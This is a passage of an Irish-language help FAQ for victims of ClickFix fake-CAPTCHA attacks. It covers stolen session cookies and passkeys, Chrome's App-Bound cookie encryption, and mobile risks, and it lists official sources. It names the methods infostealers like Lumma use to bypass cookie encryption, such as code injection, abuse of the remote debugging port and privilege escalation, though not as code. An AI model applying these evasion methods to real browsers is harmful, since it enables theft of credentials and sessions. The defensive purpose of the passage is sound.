Braitheann sé ar an áit ar stóráladh an Pasfhocal, agus níos tábhachtaí fós, Is cinnte gur ghoid sé an fianán seisiún gníomhach a cruthaíodh tar éis duit logáil isteach leis an bPas eochair sin. Ar dtús, má bhí tú logáilte isteach i Google/Microsoft in Chrome/Edge ar an ríomhaire sin cheana féin, níl do Phas ag teastáil ón ionsaitheoir toisc gur ghoid sé do fhianán seisiúin fhíordheimhnithe beo - mar sin ní mór duit cliceáil fós Sínigh amach as gach seisiún ar ghléas glan. Ar an dara dul síos, má bhí do Phas stóráilte i Windows Hello (TPM 2.0 sliseanna crua-earraí) nó ar YubiKey fisiciúil nó iPhone, ní féidir leis an eochair phríobháideach taobh istigh den sliseanna crua-earraí a onnmhairiú le malware. Mar sin féin, má stóráil tú pasfhocail sioncronaithe taobh istigh de shínte brabhsálaí tríú páirtí neamhghlasáilte ar an ríomhaire sin, cúlghair na pasfhocail sin i socruithe slándála do chuntais láithreach.

Cén chaoi a bhfuil “Criptiúchán Ceangailte le hAipeanna” Google Chrome (v20 fianáin) difear, agus a dhéanann Lumma Stealer sheachbhóthar é?¶

Ag tosú le Chrome 127+, thug Google isteach Criptiú App-Bound ar Windows, a cheanglaíonn criptiú fianán (`v20` réimír) le seirbhís córais ardaithe Windows (`GoogleChromeElevationService`) malware ísealphribhléid a stopadh ó fhianáin a dhíchriptiú. Mar sin féin, tá tógáil nua-aimseartha de Lumma Stealer, GoidC, agus Medusa seachbhóthar go gníomhach Criptiú App-Bound trí chód a instealladh go díreach isteach i gcás gan ceann de chrome.exe, ag baint mí-úsáide as calafort dífhabhtaithe cianda Chrome (--iargúlta-debugging-port), nó ardaithe pribhléidí chun glaoch ar an Ardaitheoir comhéadan COM. Ná glac leis go ndearna Chrome 127+ do fhianáin seisiúin a chosaint má rinne tú pálasta ClickFix; i gcónaí a chúlghairm gach seisiún láithreach.

An féidir le hordú ClickFix a fhorghníomhaítear ar mo ghuthán iPhone nó Android ionfhabhtú a dhéanamh ar mo ghuthán Win + R malware?¶

Má thapáil tú CAPTCHA falsa ar iPhone (`iOS`) nó fón Android, aon Windows PowerShell / mshta.exe cóipeáil an t-ordú chuig do ghearrthaisce soghluaiste ní féidir é a rith ar iOS nó Android, toisc nach bhfuil córais oibriúcháin soghluaiste a Buaigh + R Rith dialóg, powershell.exe, nó mshta.exe. Mar sin féin, aimsíonn roinnt leathanaigh ClickFix atá feasach ar shoghluaiste do Ghníomhaire Úsáideora soghluaiste agus atreoraíonn siad thú chun Android mailíseach a shuiteáil .apk comhad, a bradacha iOS Mobile Device Management (`MDM`) próifíl chumraíochta, nó síntiús mailíseach fógra PWA/Brúigh Ghréasáin. Cinntigh nár shuiteáil tú aon chomhad nó próifíl íosluchtaithe.

Treoracha gaolmhara¶

• Fuadach fianán seisiúin, malware infostealer, agus cúlghairm paskey
• Drain sparán Cryptocurrency agus comhréiteach frása síolta
• Ionfhabhtú malware, earraí ransom, agus earraí spiaireachta
• Hacked cuntas ríomhphoist, rialacha cur ar aghaidh, agus aisghabháil
• Comhréiteach pacáiste slabhra soláthair npm/PyPI agus rothlú eochair stáisiún oibre an fhorbróra
• Scar-earraí falsa frithvíreas, turscar fógartha, agus glantachán cead brú brabhsálaí
• Uimhreacha éigeandála de réir tíre

Foinsí agus treoir oifigiúil¶

• An Ghníomhaireacht um Chibearshlándáil agus Bonneagar (CISA) & Biúró Chónaidhme Imscrúdaithe (FBI) (Stáit Aontaithe Mheiriceá): Comhairle Comhpháirteach um Chibearshlándáil (AA24-131A / Infostealer & Lumma Stealer Bagairtí): Maireachtáil Lasmuigh den Talamh a Mhaolú (LOLBin) agus Ionsaithe Goid Chomhartha Seisiún.
• An Institiúid Náisiúnta um Chaighdeáin agus Teicneolaíocht (NIST) (Stáit Aontaithe Mheiriceá): Foilseachán Speisialta 800-61 Ath. 2: Treoir um Láimhseáil Teagmhais Slándála Ríomhaireachta & SP 800-63B: Treoirlínte um Aitheantais Dhigiteach (Bainistíocht Seisiún agus Athfhíordheimhniú).
• Microsoft Threat Intelligence (Microsoft Security): Ag déanamh anailís ar Fheachtais Innealtóireachta Sóisialta ClickFix, Instealladh Gearrthaisce Bréige CAPTCHA (RunMRU), agus Logáil Bloc Script PowerShell (Event ID 4104).
• Lárionad Náisiúnta Cibearshlándála (NCSC) (An Ríocht Aontaithe): Ionsaithe Mal-earraí agus Earraí Ransom a Mhaolú & Treoir Goid Dintiúir ar Leibhéal an Ghléis.
• Gníomhaireacht an Aontais Eorpaigh um Chibearshlándáil (ENISA): Tuairisc Tírdhreacha Bagairt ENISA: Info-Stealers (Lumma, StealC, RedLine, AMOS) agus Frithbhearta Fuadach Fianán Seisiúin.